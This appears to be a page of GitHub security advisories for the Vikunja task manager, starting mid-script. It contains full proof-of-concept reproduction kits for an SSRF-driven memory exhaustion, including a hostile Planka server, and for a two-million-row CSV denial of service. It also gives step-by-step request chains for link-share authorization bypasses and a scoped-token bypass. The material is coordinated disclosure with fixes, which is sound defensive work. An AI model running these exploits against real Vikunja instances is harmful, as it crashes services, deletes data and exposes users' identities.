test "${OOMAFTER}" -gt "${OOMBEFORE}" test "${TARGETEXIT}" -eq 137 test "${ATTACHMENTSSERVED}" -ge 4 kill -0 "${PLANKAPID}" if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then echo "[PoC] health endpoint remained available after target exit" >&2 exit 1 fi

kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true trap - EXIT echo "[PoC] evidence: migratestatus=${MIGRATECODE} publicattackerip=93.184.216.34 attachmentsserved=${ATTACHMENTSSERVED} baselinersskib=${BASELINERSSKIB} targetexit=${TARGETEXIT} oomkilldelta=$((OOMAFTER - OOMBEFORE))" echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"

Create reproduction/run.sh:

sh #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" if [[ "$(basename "${SESSIONDIR}")" == "artifacts" ]]; then SESSIONDIR="$(cd "${SESSIONDIR}/.." && pwd)" fi CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" NETWORKNAME="${IMAGETAG}-net-$$" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="d66ef3d1a39c6f7289593059a1a34afd1d059260" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-repro.XXXXXX")" NETWORKCREATED=false cleanup() { if [[ "${NETWORKCREATED}" == "true" ]]; then docker network rm "${NETWORKNAME}" > /dev/null 2>&1 || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT TARGETREPODIR="${WORKDIR}/repo"

echo "[PoC] cloning target repository" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" printf '\n.git\n' >> "${TARGETREPODIR}/.dockerignore"

echo "[PoC] building reproduction image: ${IMAGETAG}" docker build \ --build-context "target=${TARGETREPODIR}" \ -t "${IMAGETAG}" \ "${SCRIPTDIR}"

echo "[PoC] creating isolated public-address test network" docker network create --subnet 93.184.216.0/24 "${NETWORKNAME}" > /dev/null NETWORKCREATED=true

echo "[PoC] running exploit trigger and verification" docker run --rm \ --network "${NETWORKNAME}" \ --ip 93.184.216.34 \ --memory=256m \ --memory-swap=256m \ -v "${TARGETREPODIR}:/target-repo:ro" \ "${IMAGETAG}" \ /app/verify.sh

echo "[PoC] SUCCESS: reproduction completed and verified"

Create reproduction/maliciousplanka.py:

python #!/usr/bin/env python3 import json import os import threading from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

ATTACHMENTCOUNT = 24 ATTACHMENTBYTES = 20 1024 1024 counter = 0 counterlock = threading.Lock()

class Handler(BaseHTTPRequestHandler): protocolversion = "HTTP/1.1"

def logmessage(self, fmt, args): print(fmt % args, flush=True)

def sendjson(self, payload): body = json.dumps(payload, separators=(",", ":")).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def doDELETE(self): self.sendresponse(204) self.sendheader("Content-Length", "0") self.endheaders()

def doGET(self): global counter if self.path == "/api/users/me": self.sendjson({"item": {"id": "attacker"}}) return if self.path == "/api/projects": self.sendjson( { "items": [{"id": "p1", "name": "attacker project"}], "included": { "boards": [ {"id": "b1", "name": "board", "projectId": "p1", "position": 1} ], "baseCustomFieldGroups": [], "customFields": [], }, } ) return if self.path == "/api/boards/b1": attachments = [ { "id": f"a{i}", "type": "file", "name": f"aggregate-{i}.bin", "cardId": "c1", "data": {"mimeType": "application/octet-stream"}, } for i in range(ATTACHMENTCOUNT) ] self.sendjson( { "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1}, "included": { "users": [], "labels": [], "lists": [ {"id": "l1", "name": "active", "type": "active", "position": 1} ], "cards": [ {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0} ], "cardLabels": [], "taskLists": [], "tasks": [], "attachments": attachments, "customFieldGroups": [], "customFields": [], "customFieldValues": [], }, } ) return if self.path.startswith("/attachments/"): self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(ATTACHMENTBYTES)) self.endheaders() chunk = b"A" 65536 try: for in range(ATTACHMENTBYTES // len(chunk)): self.wfile.write(chunk) except (BrokenPipeError, ConnectionResetError): return with counterlock: counter += 1 with open("/work/attachment-count", "w", encoding="ascii") as countfile: countfile.write(str(counter)) countfile.flush() os.fsync(countfile.fileno()) return self.sendresponse(404) self.sendheader("Content-Length", "0") self.endheaders()

ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serveforever()

From the directory containing these files, run:

sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh

Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.

Observed: The final run returned migratestatus=200 using publicattackerip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oomkill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.

Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oomkill increment, surviving attacker server, and failed health.

Observed evidence:

- migratestatus=200 - publicattackerip=93.184.216.34 - attachmentsserved=5 - baselinersskib=68064 - targetexit=137 - oomkilldelta=1 - [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.34%
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Unbounded CSV row cardinality permits API process termination

Summary

The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.

Impact and affected scope

- Type: Resource Exhaustion Csv Import - Affected component: POST /api/v2/migration/csv/migrate - Preconditions: An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026 - Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.

Technical details

csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.

Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.

Relevant code:

- pkg/routes/api/v2/migrationcsv.go:96 - pkg/routes/api/v2/migrationcsv.go:164 - pkg/modules/migration/csv/csv.go:281 - pkg/modules/migration/csv/csv.go:298 - pkg/modules/migration/csv/csv.go:590 - pkg/modules/migration/csv/csv.go:605 - pkg/modules/migration/csv/csv.go:627 - pkg/modules/migration/csv/csv.go:643 - pkg/modules/migration/csv/csv.go:655

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

text FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app COPY . /app RUN chmod +x /app/.sh 2>/dev/null || true

Target source is supplied only at runtime through /target-repo:ro. This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid

BASE = "http://target:3456"

def jsonrequest(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {}

def waitready(): for in range(240): try: if jsonrequest("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready")

def registerandlogin(username): password = "PoC-password-123!" jsonrequest("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) , login = jsonrequest("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"]

def migrate(token, csvdata, config, expectresponse): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csvdata + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoCCSVREQUEST rows={csvdata.count(bytes([10]))} requestbytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary}, method="POST", ) try: with urllib.request.urlopen(req, timeout=90) as response: status, data = response.status, response.read() print(f"POST migrate -> {status} {data[:200]!r}", flush=True) if expectresponse and status != 200: raise RuntimeError(f"control returned {status}, expected 200") if not expectresponse: raise RuntimeError(f"attack unexpectedly returned HTTP {status}") except urllib.error.HTTPError as exc: data = exc.read() print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True) if expectresponse: raise raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate") except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc: if expectresponse: raise print(f"PoCCSVATTACKDISCONNECTED error={type(exc).name}", flush=True)

def main(): waitready() controltoken = registerandlogin("PoC-csv-control") controlconfig = json.dumps({"delimiter": ",", "mapping": [{"columnindex": 0, "attribute": "title"}]}) migrate(controltoken, b"Title\ncontrol task\n", controlconfig, True) jsonrequest("GET", "/api/v1/info", expected=200) print("PoCCSVCONTROL=PASS", flush=True)

attacktoken = registerandlogin("PoC-csv-attack") attackconfig = json.dumps({"delimiter": ",", "mapping": [{"columnindex": 0, "attribute": "ignore"}]}) migrate(attacktoken, b"x\n" 2000000, attackconfig, False) print("PoCCSVATTACKSENT rows=2000000", flush=True)

if name == "main": try: main() except Exception as exc: print(f"PoCCSVCLIENT=FAIL {exc}", file=sys.stderr, flush=True) raise

Create reproduction/prepare.sh:

sh #!/usr/bin/env bash set -euo pipefail

mkdir -p /work/repo cp -a /target-repo/. /work/repo/ mkdir -p /work/repo/frontend/dist cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo CGOENABLED=1 go build \ -tags osusergo \ -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \ -o /output/vikunja . chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then go build -o /output/probe /app/probe.go chmod 0755 /output/probe fi

Create reproduction/run.sh:

sh #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="349cd5adbcc831ef08b08e6c9c6d627603c39606" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-reproduction.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" BUILDDIR="${WORKDIR}/build" DATADIR="${WORKDIR}/data" NETWORK="${IMAGETAG}-net-$$" TARGETCONTAINER="${IMAGETAG}-target-$$"

cleanup() { docker rm -f "${TARGETCONTAINER}" >/dev/null 2>&1 || true docker network rm "${NETWORK}" >/dev/null 2>&1 || true rm -rf "${WORKDIR}" } trap cleanup EXIT

mkdir -p "${BUILDDIR}" "${DATADIR}/files" chmod 0777 "${BUILDDIR}" "${DATADIR}" "${DATADIR}/files" echo "[PoC] cloning and pinning target ${TARGETREF}" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" echo "[PoC] building helper image ${IMAGETAG}" docker build -t "${IMAGETAG}" "${SCRIPTDIR}" docker run --rm -v "${TARGETREPODIR}:/target-repo:ro" -v "${BUILDDIR}:/output" "${IMAGETAG}" /app/prepare.sh docker network create "${NETWORK}" >/dev/null docker run --detach --name "${TARGETCONTAINER}" \ --network "${NETWORK}" --network-alias target \ --memory 512m --memory-swap 512m --pids-limit 256 \ -v "${BUILDDIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \ -e VIKUNJASERVICEINTERFACE=:3456 -e VIKUNJASERVICEPUBLICURL=http://target:3456/ \ -e VIKUNJASERVICEROOTPATH=/data -e VIKUNJASERVICEJWTSECRET=PoC-reproduction-secret \ -e VIKUNJASERVICEENABLEREGISTRATION=true -e VIKUNJADATABASETYPE=sqlite \ -e VIKUNJADATABASEPATH=/data/vikunja.db -e VIKUNJAFILESBASEPATH=/data/files \ -e VIKUNJAMAILERENABLED=false -e VIKUNJAREDISENABLED=false -e VIKUNJALOGHTTP=off \ -e VIKUNJARATELIMITNOAUTHLIMIT=1000 \ "${IMAGETAG}" /app/vikunja web >/dev/null

set +e OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGETAG}" python3 /app/client.py 2>&1)" CLIENTSTATUS=$? set -e printf '%s\n' "${OUTPUT}" for in $(seq 1 80); do STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" [[ "${STATE}" != "false 0 true" ]] && break sleep 0.25 done STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" echo "PoCCSVCONTAINER state=${STATE} clientstatus=${CLIENTSTATUS}" if ! grep -q 'PoCCSVCONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoCCSVATTACKSENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2 exit 1 fi echo "PoCCSVCARDINALITY=PASS rows=2000000 requestbytesunder5MiB OOMKilled=true ExitCode=137" echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

html <!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh

Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.

Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoCCSVCARDINALITY=PASS.

Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.

Observed evidence:

- Normal CSV migrate control: HTTP 200 - Attack: rows=2000000, requestbytes=4000371, RemoteDisconnected - target container: OOMKilled=true, ExitCode=137 - PoCCSVCARDINALITY=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Vikunja's web.Auth interface (pkg/web/web.go, single method GetID() int64) is satisfied by BOTH user.User and models.LinkSharing. A link-share's GetID() returns the raw positive share.ID (pkg/models/linksharing.go:83-85), which lives in the same positive autoincrement ID space as users.id. The safe negated form getUserID() = share.ID -1 (linksharing.go:126-128) exists but is NOT used at three permission sinks. As a result, a link-share principal with id N — which should have zero authority over teams or bot users — is treated as the user whose users.id == N at three permission checks that lack the a.(LinkSharing) guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.

Root Cause web.Auth is a one-method interface (GetID() int64). LinkSharing.GetID() returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:

1. TeamMember.CanDelete (pkg/models/teammemberspermissions.go:31-40): the self-removal fast path if u.ID == a.GetID() { return true } (:36) executes before IsAdmin. IsAdmin (:48-51) is the ONLY place that rejects link shares (if , is := a.(LinkSharing); is { return false }, :50) — and it is never reached when the fast path returns true. 2. BotUser.isOwner (pkg/models/botuserspermissions.go:47-56): return u.BotOwnerID == a.GetID() (:55), used by CanRead/CanUpdate/CanDelete (:36-45). Unlike CanCreate (:27-30) which type-asserts a.(user.User), these three paths have no principal guard. 3. Team.CanRead (pkg/models/teamspermissions.go:68-78): matches membership on And("userid = ?", a.GetID()) (:76) with no link-share guard, unlike sibling IsAdmin (:45-49, guard at :47).

Link-share JWTs reach these routes: SetupTokenMiddleware validates the signature only, GetAuthFromClaims returns models.LinkSharing, and the /user//teams route groups add no link-share rejection. Link sharing is enabled by default (config.go ServiceEnableLinkSharing.setDefault(true)).

Impact A link-share principal (obtainable from any public share link, or self-registered via a share on the attacker's own project) whose id N collides with a victim's users.id == N can, without being that user or any user: - Integrity (I:H): remove the victim from any team they belong to (DELETE /api/v1/teams/{T}/members/{username}) → revokes all project permissions the victim inherited through that team. - Availability/Integrity (A:H, I:H): enumerate the victim's bot users (GET /api/v1/user/bots → botownerid = a.GetID()), then disable/rename or permanently delete them (DELETE /api/v1/user/bots/{id} → DeleteUser), destroying data owned solely by those bots. - Confidentiality (C:H): read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (GET /api/v1/teams/{T}), plus read bot-user records via isOwner-gated reads.

Attack Chain

Sink 1 — TeamMember.CanDelete (integrity) 1. Entry: POST /api/v1/shares/{hash}/auth → link-share JWT with id = N. Guard: JWT middleware — signature only. Bypass proof: GetAuthFromClaims returns models.LinkSharing; no route-group link-share rejection on the /teams group. 2. Action: DELETE /api/v1/teams/{T}/members/{usernameOfUserN} with the link-share bearer, targeting a team T (≥2 members) that user N belongs to. Guard: CanDelete → GetUserByUsername(tm.Username) returns user N, then u.ID == a.GetID() (teammemberspermissions.go:36). Bypass proof: a.GetID() returns N (raw positive share.ID, linksharing.go:84) == user N's id → true. No a.(LinkSharing) check on this branch (only IsAdmin at :50 has it, never reached). 3. Sink: Delete (teammembers.go) removes user N from team T (last-member check passes when team has ≥2 members). Impact: victim loses all project access inherited through team T.

Sink 2 — BotUser.isOwner (bot takeover / destruction) 1. Entry: link-share JWT id N (as above). Guard: signature-only; /user group adds no link-share reject. 2. Enumerate: GET /api/v1/user/bots → ReadAll runs Where("botownerid = ?", a.GetID()) = bots owned by user N. Bypass proof: a.GetID() = N; returns victim's bot ids self-contained (removes the id-guessing barrier). 3. Sink: DELETE /api/v1/user/bots/{botId} → CanDelete → isOwner → u.BotOwnerID == a.GetID() (botuserspermissions.go:55) → true; Delete calls DeleteUser. Bypass proof: no a.(LinkSharing) guard here (Create-only, :28). Impact: disable/rename/permanently delete victim's bot automation identities.

Sink 3 — Team.CanRead (info disclosure) 1. Entry: link-share JWT id N. Guard: signature-only; no reject on GET /teams/:team. 2. Sink: GET /api/v1/teams/{T} → CanRead runs Where("teamid=?", t.ID).And("userid=?", a.GetID()).Get(tm) (teamspermissions.go:74-77). Bypass proof: a.GetID() = N matches user N's teammembers row → can = true; no a.(LinkSharing) check (contrast IsAdmin at :47). Impact: read roster + metadata of a team the link share is not part of.

Bypass Evidence - linksharing.go:83-85 GetID() returns raw positive share.ID (NOT the negated getUserID() at :126-128). - teammemberspermissions.go:36 raw u.ID == a.GetID() before IsAdmin; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true. - botuserspermissions.go:55 raw u.BotOwnerID == a.GetID(); the a.(user.User) guard at :28 is Create-only and NOT replicated on isOwner. - teamspermissions.go:76 raw a.GetID() in CanRead; sibling IsAdmin has the guard at :47, CanRead omits it. - All three sinks verified present on latest release tag v2.4.0 (git show v2.4.0:<file>). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to linksharing.go, c580d51, merely shadows an embedded Update method).

Affected Versions <= 2.4.0 (latest release; also present on HEAD of main). Requires default-enabled link sharing.

Exploitability Constraint (reflected in AC:H) The attacker cannot freely choose the colliding id — linkshares.id is autoincrement. Exploitation is (a) opportunistic (a guest holding a share with id N attacks the user whose users.id == N) or (b) targeted (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.

Suggested Fix Add the link-share principal guard (if , is := a.(LinkSharing); is { return false }) — which IsAdmin/CanCreate already use — to all three sinks: the TeamMember.CanDelete self-removal fast path (before the u.ID == a.GetID() check), BotUser.isOwner, and Team.CanRead. Alternatively, resolve principals through getUserID() (negated id space) at every permission check so link-share ids can never collide with user ids.

--- Reported by zx (Jace) — GitHub: @manus-use

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The task-collection endpoint GET /api/v1/projects/{project}/views/{view}/tasks loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a link-share token, the task query is correctly pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to any project can therefore point the endpoint at any other tenant's kanban view and receive that view's bucket records — bucket titles plus the full createdby user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.

Details

Root cause is in TaskCollection.ReadAll (pkg/models/taskcollection.go).

1. The view is resolved from the URL params before any permission check:

go // pkg/models/taskcollection.go (ReadAll) if tf.ProjectViewID != 0 { view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params) ... }

GetProjectViewByIDAndProject (pkg/models/projectview.go) filters only on WHERE id = ? AND projectid = ? — it performs no authorization. A valid (project, view) pair returns the view; an invalid pair returns ErrProjectViewDoesNotExist (HTTP 404).

2. For a link-share caller, the code pins the task scope to the token's own project but reuses the attacker-supplied view:

go shareAuth, is := a.(LinkSharing) if is { project, err := GetProjectSimpleByID(s, shareAuth.ProjectID) // token's project ... return getTaskOrTasksInBuckets(s, a, []Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks) // view is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID }

3. getTaskOrTasksInBuckets → GetTasksInBucketsForView (pkg/models/kanban.go) reads the buckets of that foreign view directly:

go err = s.Where("projectviewid = ?", view.ID).OrderBy("position").Find(&buckets) ... users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's createdby

Each returned Bucket serializes CreatedBy user.User as json:"createdby" (pkg/models/kanban.go), exposing the creating user's username, name, and id.

The normal (non-share) path is protected because it runs getRelevantProjectsFromCollection, which calls project.CanRead on the URL project and returns 403 before any bucket data is produced. Only the LinkSharing branch skips that gate, which is why the bucket disclosure is link-share-specific. ReadAllWeb (pkg/web/handler/readall.go) performs no permission check of its own, so all authorization for this endpoint lives inside ReadAll.

Scope of the leak (verified against fixtures): the tasks returned inside the buckets are still constrained to the share's own project (getRawTasksForProjects filters tasks.projectid IN opts.projectIDs, derived from the share's project). So victim task contents do not leak; what leaks is the foreign view's bucket structure and, critically, the createdby user identities of arbitrary buckets instance-wide.

Introduced in v0.24.0 by the per-view kanban feature (feat(views)!: return tasks in buckets by view), which added the views/{view}/tasks endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.

Impact

A holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:

- Enumerate all project and view IDs instance-wide. IDs are sequential auto-increment integers; an invalid (project, view) pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants. - Disclose the createdby user of any kanban view's buckets — username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance. - Disclose bucket titles of every kanban view in the instance.

This is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo → 404 vs. inaccessible combo → 403), because the view is loaded before the CanRead check.

Proof of Concept

Prerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant's) with a kanban view VB.

1. Authenticate the share link to obtain a share JWT: POST /api/v1/shares/{shareHash}/auth 2. Using that token, request a foreign kanban view's tasks: GET /api/v1/projects/{B}/views/{VB}/tasks 3. The 200 response is a list of Bucket objects belonging to view VB — each with title and a populated createdby (username, name, id) — even though the token has no relationship to project B. 4. Iterate {B}/{VB} over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.

Verified locally against the model fixtures: a LinkSharing{ProjectID: 1} (project 1 owned by user 1) calling TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll (project 2 owned by user 3) returns project 2's buckets ("testbucket4 - other project", "testbucket40") with their createdby user objects populated, and no error — while a nonexistent view id returns ErrProjectViewDoesNotExist.

Recommended Fix

In TaskCollection.ReadAll, before the view is loaded, pin the requested project to the link share's own project so any foreign view resolves to a 404 instead of leaking:

go if shareAuth, is := a.(LinkSharing); is { tf.ProjectID = shareAuth.ProjectID }

This is consistent with the existing behavior that already forces the task query to shareAuth.ProjectID, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view's authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read — closing the 404-vs-403 existence oracle for ordinary users as well.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.

First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Vikunja's scoped API token enforcement for custom project background routes is method-confused. A token with only projects.background can successfully delete a project background, while a token with only projects.backgrounddelete is rejected.

This is a scoped-token authorization bypass.

Details

I verified this locally on commit c5450fb55f5192508638cbb3a6956438452a712e.

Relevant code paths: pkg/models/apiroutes.go pkg/routes/routes.go pkg/modules/background/handler/background.go

Route registration exposes separate permissions for the same path: GET /api/v1/projects/:project/background -> projects.background DELETE /api/v1/projects/:project/background -> projects.backgrounddelete

At enforcement time, CanDoAPIRoute() falls back to the parent group and reconstructs the child permission from the path segments only. For the DELETE request, that becomes background, so the matcher accepts any token containing projects.background without re-checking the HTTP method or matching the stored route detail.

This matters because RemoveProjectBackground() is a real destructive operation: It checks project update rights. It deletes the background file if present. It clears the project's BackgroundFileID.

PoC

1. Log in as a user who can update a project that already has a background. 2. Create an API token with only: {"projects":["background"]} 3. Send: DELETE /api/v1/projects/<projectid>/background Authorization: Bearer <token> 4. Observe that the request succeeds and the project background is removed.

For comparison: 1. Create an API token with only: {"projects":["backgrounddelete"]} 2. Repeat the same DELETE request. 3. Observe that the request is rejected with 401 Unauthorized.

